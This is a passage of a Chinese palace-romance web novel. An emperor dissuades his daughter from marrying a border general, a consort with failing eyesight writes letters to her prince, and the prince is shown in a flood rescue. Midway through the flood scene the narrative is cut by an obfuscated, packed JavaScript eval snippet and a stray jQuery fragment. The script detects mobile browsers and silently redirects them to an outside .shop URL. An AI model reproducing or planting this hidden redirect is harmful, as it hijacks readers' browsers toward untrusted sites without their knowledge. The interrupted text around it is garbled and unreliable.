“为何不行?”
四公主闹起脾气来还似小孩子,口无遮拦的。
“母妃说要人口简单的,他无父无母,孑然一身,最简单了!父皇又看重云大将军,他又是云将军养子,父皇也赞他忠勇可嘉不是吗!如此岂不是两全其美,不,是三全!是父皇母妃和儿臣!”
皇上却是冷声斥道:“不可胡说,怎能如此轻论他人身世?”
四公主一委屈,眼泪啪嗒啪嗒落在帕子上,“儿臣哪里轻贱他了?”
那泪珍珠似的,便叫一个父亲再也生不起气来,一把揽过公主,为她拭泪,语气也软下来,“你是朕膝下唯一的公主,朕统观朝中俊彦,也要为你择一位配得上你身份的驸马。”
皇上轻拍公主手背,语重心长,循循善诱,“程诩其人,得云海看重,朕也确实赞他忠勇可嘉。但你要明白,他是云海的养子,无根无基,官阶不过五品。边关将领,吃的是风沙,搏的是性命。刀枪无眼的,今日立功,明日就有可能殒命黄沙。朕若把你许给他,你住在京里,他一年倒有十个月在边关。你日日夜夜替他悬心,朕亦会日日为你悬心,朕的女儿,天之骄女,人中龙凤,怎能受这份煎熬?”
一番话娓娓诉来,尽是慈父柔肠。
只是公主的眼睫上还挂着泪珠,情窦初开的少女,心里想的念的,都是“忠勇可嘉”的小将军只手托起八岁小童,霸道护着云见月的模样。
那些个所谓清流,尽是些手不能提肩不能扛,开口闭口“孔孟之道”的书呆子,她怎会喜欢。
皇上又道:“再者,本朝驸马不得担任要职。朕若将他调回京中,给他一个清贵闲职,便是生生毁了他的前程,云海栽培多年,苦心尽数白废。到那时候,他怨你耽误了他,你怨他窝囊无用,朕岂不是亲手把你们塑成了怨偶?”
奈何那小小的一颗种子在心里发了芽,经过一岁日月,早就根入脉络,难舍难分了。
这一年来,虽也见识过几位年轻才俊,可纵是家世再高,文采再佳,就是个个都不如他。
公主瘪了嘴,低头拧着帕子,赌气不言语。
皇上道:“朕给你取名长乐,是希望你岁岁常安,日日喜乐。你若暂时没有中意的人,也不必急,便在朕身边多留几年,慢慢相看,朕不催你。”
公主忽抬起闪着泪花的眸子,两腮还有两道未干的泪痕,嘟起嘴来,道:“儿臣可以等!等他功成身退,像云将军一样,可以常留京都的时候,再请父皇为儿臣赐婚!”
那几分执拗坚定,倒有此生非他不嫁的架势。
皇上不免一声带着嗔怪的轻笑,无奈摇摇头,宠溺地捏了捏公主的脸,“好,如果那时,你还喜欢他的话。”
皇上将她鬓边的一缕发丝拢至耳后,又为她擦去泪痕,不再说话。
到底是未谙世事的孩子家,想不来这世间长远事。
建功之路漫漫,边关风沙催人老,待身至云海那般勋位,怕是都近不惑了。届时,心性无常的长乐,还能瞧上个久居边疆的中年武夫吗。
……
秋深露重的时节,宫里无事发生。
御医院的药吃了这么些日子,虽说比从前好些,到底起效甚微。清影想着,让她每日里多睡上半个时辰一个时辰的,或许对恢复有益。
故而,清影叮嘱重华宫上下,每日云见月不醒,宫里不许发出任何声响。
“殿下!”清影的话音才落,便听里头一声睡梦中的惊呼。
清影忙不迭转身跑进殿内,“侧妃!”
云见月已惊坐起身,掀起床幔,双目惊恐,胸口兀自急喘。方才梦里浊浪滔天,人影卷没的光景,犹在眼前,惊魂未定的心悸,半分都不曾散去。
“这样的天儿,怎么出了这样多的汗?可是做噩梦了?”清影上前,拿帕子为她擦拭鬓边。
云见月未答,只怔怔望着半空,视线朦胧,人也发慌。
她做了一个梦,梦见祝长安被洪水冲走,生死不明。
“扶我起来,”半晌,云见月才稍稍回了些神,声音虚软,撑着床沿,摸索着就要起身,“备纸笔!”
便是未说明,清影也知她要写什么。
不过才起,还未及更衣,清影边劝着,“天凉,用过早膳再写不迟。”却也知拗不过,边为她披了件外裳,拢好衣襟,搀着她往书案那儿去。
书案后的那两株茉莉,已剪去枯叶,重新结了花苞。
只是眼疾未愈,视线模糊,写字越发吃力。
又为着不让祝长安看出字迹有恙,封封都待清影看过,确认字迹与常日无异才算。
故而手边摞起一叠纸,不过是写废了再换一张便罢。
清影磨着墨,转头吩咐人去端了一盏姜枣茶来,“不急在这一时,先喝口茶,祛寒暖胃。”
云见月托起信笺,因指尖发颤,控笔自然不稳,“你看这个怎么样?”
清影摇摇头,“字都飘了,殿下会看出来的。”
云见月便将写好的信弃了,在拈一张新的纸来。
清影嘴角一撇,赌气似的抢过云见月手中笔,“您就不能等眼睛好了再写嘛!上回那一封信,咱们可写了整整一日呢!左右日子还长,御医也说,让您多休息,才能好得快些!皇上也日日派人来问,您这样不听御医的话,让婢子怎么去回话呢!”
云见月拉住清影的手,涣散的目光软下来,讨好笑着:“好姑娘,快还给我,殿下说叫我常写信,你都忘了?”
清影无奈叹了口气,只得继续磨墨,“可您也得顾着自个儿啊!”
“我进宫,不就是为了相助二殿下,父亲的嘱托,我不能忘。”
“那您的心呢?”
“我……”云见月手中的笔尖一顿,滴下一滴墨,在信笺上迅速洇开一团黑渍,又废了一张。“我的心,也与殿下在一处。”
……
洪水滔天。
祝长安只手死死抓住一截插入河底深处的木桩,另一只手紧紧护着被卷入洪水的小童。
岸上时漾大喊着,立时就要冲入水中救人。
却被身后数民夫合力拉住,“您这样下去,不光救不了二皇子,您自个儿就先被洪水冲走了呀。”
“绳子!快去找绳子!”
腥冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749002|206971||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的洪水发了疯似的往下游涌,卷着沙砾石块,生生刮着他的小腿。
木桩被水流冲得吱呀作响,一点一点往外拔。他咬了咬牙,指甲嵌进湿透的木头里,可那水不肯松,一个浪头劈在脸上,呛得他眼前发黑,手下一松。
那小童已被水浪打晕,他叫了两声,未得回应。
有村民狂奔着取来绳索。
时漾将一头绑在自己腰间,一头奋力扔进水中。
那绳子就飘在祝长安身后一丈处,看似触手可及。
这是最危险之处。
他只有一只手,需在松开木桩的同时,稳稳抓住绳索,否则,即刻便被卷入水中,这奋力救下的小童就要与他一起丧命。
绳索的另一头,是时漾与数位村民,紧张的屏着呼吸。
时漾将腰间的绳索紧了紧,坚定道:“我下水,你们拉住我!”
绳索又往祝长安身后延伸一丈。
他咬紧牙关,拉住小童手又紧了紧力,继而抿紧双唇,胸中攒住一口气,目光不离的盯着绳索。
手一松,整个人瞬间不受控制的被洪水卷走。
几乎是一瞬,他在浑黄的泥水中,紧紧攥住了绳索的尾端。
那截撑了许久的木桩,也彻底被洪水拔起,浮上水面,随洪水滚入下游。
祝长安被拉上岸时,已尽力竭。
他想说先将小童送医,却连喘气都费力。
山里的秋与冬日无异,衣袍浸满泥水,湿冷沉重。小腿上,一条一条石砾刮过留下的血印子,两侧隆起的皮肉被水泡得发白。
不过半刻,又渗出了血珠。
时漾忙从村民手中接过备好的纱绢,沾去泥水,再敷药粉。“有些疼,您忍着些。”
药粉敷下去,人却没有反应。
时漾扭过头来。
他就躺在泥浆里,闭了眼沉沉睡去,随起伏的胸膛,偶尔发出一声粗重的呼吸。或冷或疼,都无知觉。
梦里,是立于重华宫外,一袭赤色嫁衣,肩头落雪的云见月。那样温婉的发妻,他却在新婚夜,逃出了宫。
此为毕生之憾。
“昨夜惊魇,惧长安不安,心念,盼复。”
寥寥数语,云见月坐于桌案前半日,写了半日,手腕发酸。
“好了,命人送出去吧。”
婢子搬了藤条躺椅,将云见月搀扶至廊下小坐,御医说,多晒太阳,眼睛好得快些。
可那信送出去,手空了,心也空了。
站起来又坐下,手不知要摸什么,也什么都摸不到。
好似这漫长岁月,只剩空等。
清影回来时,絮絮说起宫里发生的事。
“听说小将军已经离京往墉归去了,走得这样急,也不等您回去团聚。”
“许是边疆战事紧急,他圣眷正浓,怎能为这些小事逗留,再者,我这眼睛……”云见月远远望去天边,正午的日头最烈,她却不觉得晃眼。
清影又道:“萧家人今日进宫了。”
云见月的眉心一拧,双眼一阵酸痛。
“萧家是为废后求情?”